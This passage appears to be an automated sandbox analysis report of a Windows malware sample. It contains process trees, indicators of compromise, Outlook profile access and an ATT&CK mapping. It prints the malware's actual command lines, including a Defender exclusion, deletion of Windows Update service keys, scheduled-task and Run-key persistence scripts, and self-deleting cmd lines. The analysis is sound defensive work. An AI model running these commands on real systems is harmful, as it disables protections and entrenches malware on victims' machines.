3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3188	Explorer.EXE

Suspicious behavior: MapViewOfSection 21 IoCs

pid	Process
4448	e67c52e4ba852b306f49e5d508e685126605fbdcd567e5e19a2320b2d942bd69.exe
2144	B22E.exe
4828	C5AB.exe
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeDebugPrivilege	1868	powershell.exe
Token: SeIncreaseQuotaPrivilege	1868	powershell.exe
Token: SeSecurityPrivilege	1868	powershell.exe
Token: SeTakeOwnershipPrivilege	1868	powershell.exe
Token: SeLoadDriverPrivilege	1868	powershell.exe
Token: SeSystemProfilePrivilege	1868	powershell.exe
Token: SeSystemtimePrivilege	1868	powershell.exe
Token: SeProfSingleProcessPrivilege	1868	powershell.exe
Token: SeIncBasePriorityPrivilege	1868	powershell.exe
Token: SeCreatePagefilePrivilege	1868	powershell.exe
Token: SeBackupPrivilege	1868	powershell.exe
Token: SeRestorePrivilege	1868	powershell.exe
Token: SeShutdownPrivilege	1868	powershell.exe
Token: SeDebugPrivilege	1868	powershell.exe
Token: SeSystemEnvironmentPrivilege	1868	powershell.exe
Token: SeRemoteShutdownPrivilege	1868	powershell.exe
Token: SeUndockPrivilege	1868	powershell.exe
Token: SeManageVolumePrivilege	1868	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4324	rundll32.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3188	Explorer.EXE
3188	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3188 wrote to memory of 2144	3188	Explorer.EXE	66
PID 3188 wrote to memory of 2144	3188	Explorer.EXE	66
PID 3188 wrote to memory of 2144	3188	Explorer.EXE	66
PID 3188 wrote to memory of 4760	3188	Explorer.EXE	67
PID 3188 wrote to memory of 4760	3188	Explorer.EXE	67
PID 3188 wrote to memory of 4760	3188	Explorer.EXE	67
PID 3188 wrote to memory of 4892	3188	Explorer.EXE	68
PID 3188 wrote to memory of 4892	3188	Explorer.EXE	68
PID 3188 wrote to memory of 4892	3188	Explorer.EXE	68
PID 4760 wrote to memory of 3976	4760	BABA.exe	69
PID 4760 wrote to memory of 3976	4760	BABA.exe	69
PID 4760 wrote to memory of 3976	4760	BABA.exe	69
PID 4760 wrote to memory of 3776	4760	BABA.exe	70
PID 4760 wrote to memory of 3776	4760	BABA.exe	70
PID 3188 wrote to memory of 5004	3188	Explorer.EXE	72
PID 3188 wrote to memory of 5004	3188	Explorer.EXE	72
PID 3188 wrote to memory of 5004	3188	Explorer.EXE	72
PID 4760 wrote to memory of 4464	4760	BABA.exe	71
PID 4760 wrote to memory of 4464	4760	BABA.exe	71
PID 3976 wrote to memory of 4172	3976	oldplayer.exe	73
PID 3976 wrote to memory of 4172	3976	oldplayer.exe	73
PID 3976 wrote to memory of 4172	3976	oldplayer.exe	73
PID 3188 wrote to memory of 4700	3188	Explorer.EXE	74
PID 3188 wrote to memory of 4700	3188	Explorer.EXE	74
PID 3188 wrote to memory of 4700	3188	Explorer.EXE	74
PID 4172 wrote to memory of 4620	4172	oneetx.exe	76
PID 4172 wrote to memory of 4620	4172	oneetx.exe	76
PID 4172 wrote to memory of 4620	4172	oneetx.exe	76
PID 3188 wrote to memory of 4828	3188	Explorer.EXE	79
PID 3188 wrote to memory of 4828	3188	Explorer.EXE	79
PID 3188 wrote to memory of 4828	3188	Explorer.EXE	79
PID 5004 wrote to memory of 2056	5004	C1A2.exe	80
PID 5004 wrote to memory of 2056	5004	C1A2.exe	80
PID 5004 wrote to memory of 2056	5004	C1A2.exe	80
PID 5004 wrote to memory of 2056	5004	C1A2.exe	80
PID 5004 wrote to memory of 2056	5004	C1A2.exe	80
PID 5004 wrote to memory of 2056	5004	C1A2.exe	80
PID 5004 wrote to memory of 2056	5004	C1A2.exe	80
PID 5004 wrote to memory of 2056	5004	C1A2.exe	80
PID 5004 wrote to memory of 2056	5004	C1A2.exe	80
PID 5004 wrote to memory of 2056	5004	C1A2.exe	80
PID 3188 wrote to memory of 5036	3188	Explorer.EXE	82
PID 3188 wrote to memory of 5036	3188	Explorer.EXE	82
PID 3188 wrote to memory of 5036	3188	Explorer.EXE	82
PID 2056 wrote to memory of 428	2056	C1A2.exe	83
PID 2056 wrote to memory of 428	2056	C1A2.exe	83
PID 2056 wrote to memory of 428	2056	C1A2.exe	83
PID 5036 wrote to memory of 2072	5036	CE38.exe	84
PID 5036 wrote to memory of 2072	5036	CE38.exe	84
PID 5036 wrote to memory of 2072	5036	CE38.exe	84
PID 2056 wrote to memory of 1648	2056	C1A2.exe	85
PID 2056 wrote to memory of 1648	2056	C1A2.exe	85
PID 2056 wrote to memory of 1648	2056	C1A2.exe	85
PID 1648 wrote to memory of 2432	1648	C1A2.exe	88
PID 1648 wrote to memory of 2432	1648	C1A2.exe	88
PID 1648 wrote to memory of 2432	1648	C1A2.exe	88
PID 1648 wrote to memory of 2432	1648	C1A2.exe	88
PID 1648 wrote to memory of 2432	1648	C1A2.exe	88
PID 1648 wrote to memory of 2432	1648	C1A2.exe	88
PID 1648 wrote to memory of 2432	1648	C1A2.exe	88
PID 1648 wrote to memory of 2432	1648	C1A2.exe	88
PID 1648 wrote to memory of 2432	1648	C1A2.exe	88
PID 1648 wrote to memory of 2432	1648	C1A2.exe	88
PID 3188 wrote to memory of 1544	3188	Explorer.EXE	89

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	dllhost.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3346939869-2835594282-3775165920-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	dllhost.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Deletes itself
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3188
- C:\Users\Admin\AppData\Local\Temp\e67c52e4ba852b306f49e5d508e685126605fbdcd567e5e19a2320b2d942bd69.exe
  "C:\Users\Admin\AppData\Local\Temp\e67c52e4ba852b306f49e5d508e685126605fbdcd567e5e19a2320b2d942bd69.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:4448
- C:\Users\Admin\AppData\Local\Temp\B22E.exe
  C:\Users\Admin\AppData\Local\Temp\B22E.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:2144
- C:\Users\Admin\AppData\Local\Temp\BABA.exe
  C:\Users\Admin\AppData\Local\Temp\BABA.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4760
- - C:\Users\Admin\AppData\Local\Temp\oldplayer.exe
    "C:\Users\Admin\AppData\Local\Temp\oldplayer.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3976
  - - C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe
      "C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4172
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:4620
- - C:\Users\Admin\AppData\Local\Temp\ss31.exe
    "C:\Users\Admin\AppData\Local\Temp\ss31.exe"
    3⤵
    - Executes dropped EXE
    PID:3776
- - C:\Users\Admin\AppData\Local\Temp\XandETC.exe
    "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:4464
- C:\Users\Admin\AppData\Local\Temp\BF8E.exe
  C:\Users\Admin\AppData\Local\Temp\BF8E.exe
  2⤵
  - Executes dropped EXE
  PID:4892
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4892 -s 488
    3⤵
    - Program crash
    PID:4268
- C:\Users\Admin\AppData\Local\Temp\C1A2.exe
  C:\Users\Admin\AppData\Local\Temp\C1A2.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:5004
- - C:\Users\Admin\AppData\Local\Temp\C1A2.exe
    C:\Users\Admin\AppData\Local\Temp\C1A2.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:2056
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\3577a513-93d9-4bec-88b6-89e864faf765" /deny *S-1-1-0:(OI)(CI)(DE,DC)
      4⤵
      Modifies file permissions
      PID:428
  - - C:\Users\Admin\AppData\Local\Temp\C1A2.exe
      "C:\Users\Admin\AppData\Local\Temp\C1A2.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:1648
    - - C:\Users\Admin\AppData\Local\Temp\C1A2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\C1A2.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Executes dropped EXE
        
        PID:2432
      - C:\Users\Admin\AppData\Local\eccfbcc5-1b32-46a1-9752-d4175478f91b\build3.exe
        
        "C:\Users\Admin\AppData\Local\eccfbcc5-1b32-46a1-9752-d4175478f91b\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:4936
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:2852
- C:\Users\Admin\AppData\Local\Temp\C404.exe
  C:\Users\Admin\AppData\Local\Temp\C404.exe
  2⤵
  - Executes dropped EXE
  PID:4700
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4700 -s 480
    3⤵
    - Program crash
    PID:4648
- C:\Users\Admin\AppData\Local\Temp\C5AB.exe
  C:\Users\Admin\AppData\Local\Temp\C5AB.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:4828
- C:\Users\Admin\AppData\Local\Temp\CE38.exe
  C:\Users\Admin\AppData\Local\Temp\CE38.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5036
- - C:\Users\Admin\AppData\Local\Temp\oldplayer.exe
    "C:\Users\Admin\AppData\Local\Temp\oldplayer.exe"
    3⤵
    - Executes dropped EXE
    PID:2072
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5036 -s 1440
    3⤵
    - Program crash
    PID:1136
- C:\Users\Admin\AppData\Local\Temp\2458.exe
  C:\Users\Admin\AppData\Local\Temp\2458.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Checks processor information in registry
  PID:1544
- - C:\ProgramData\17500698951359325461.exe
    "C:\ProgramData\17500698951359325461.exe"
    3⤵
    - Executes dropped EXE
    PID:2144
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\ProgramData\17500698951359325461.exe
      4⤵
      PID:2632
    - - C:\Windows\system32\choice.exe
        
        choice /C Y /N /D Y /T 0
        5⤵
        
        PID:2700
- - C:\ProgramData\80805765610634044224.exe
    "C:\ProgramData\80805765610634044224.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:3652
  - - C:\Users\Admin\AppData\Roaming\telemetry\svcservice.exe
      "C:\Users\Admin\AppData\Roaming\telemetry\svcservice.exe"
      4⤵
      PID:376
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\2458.exe" & exit
    3⤵
    PID:2764
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 6
      4⤵
      Delays execution with timeout.exe
      PID:4052
- C:\Users\Admin\AppData\Local\Temp\360C.exe
  C:\Users\Admin\AppData\Local\Temp\360C.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Checks processor information in registry
  PID:4020
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4020 -s 1012
    3⤵
    - Program crash
    PID:3524
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4020 -s 1028
    3⤵
    - Program crash
    PID:2844
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4020 -s 992
    3⤵
    - Program crash
    PID:4760
- - C:\Windows\syswow64\rundll32.exe
    "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
    3⤵
    - Blocklisted process makes network request
    - Checks processor information in registry
    - Modifies registry class
    - Suspicious use of FindShellTrayWindow
    PID:4324
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4020 -s 1052
    3⤵
    - Program crash
    PID:3500
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:3708
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:4332
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:4848
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:4272
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:656
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1868
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:3356
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:2356
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:4016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  PID:3104
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4756
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:4664
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:4976
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:3764
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:4396
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:4752
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4472
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4928
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:3000
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3976
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4144
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:5004
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:4824
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:4640
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:924
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:3548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  PID:2412
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    PID:4116
- C:\Users\Admin\AppData\Local\Temp\95C1.exe
  C:\Users\Admin\AppData\Local\Temp\95C1.exe
  2⤵
  - Executes dropped EXE
  PID:2696
- - C:\Windows\system32\dllhost.exe
    "C:\Windows\system32\dllhost.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Checks processor information in registry
    - outlook_office_path
    - outlook_win_path
    PID:4872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Modifies data under HKEY_USERS
  PID:2116
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:4360
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4828
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1988
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4756
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3952
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4060
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:1380
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:2508
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:4948
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:2500
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:2780
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:1740
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:3104
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:2028
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:4176
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:4048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  PID:808

C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe
C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe
1⤵
- Executes dropped EXE
PID:2356

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
PID:2528

C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe
C:\Users\Admin\AppData\Local\Temp\10180c8ca3\oneetx.exe
1⤵
- Executes dropped EXE
PID:2488

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:4548
- C:\Windows\SysWOW64\schtasks.exe
  /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
  2⤵
  - Creates scheduled task(s)
  PID:2084

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005
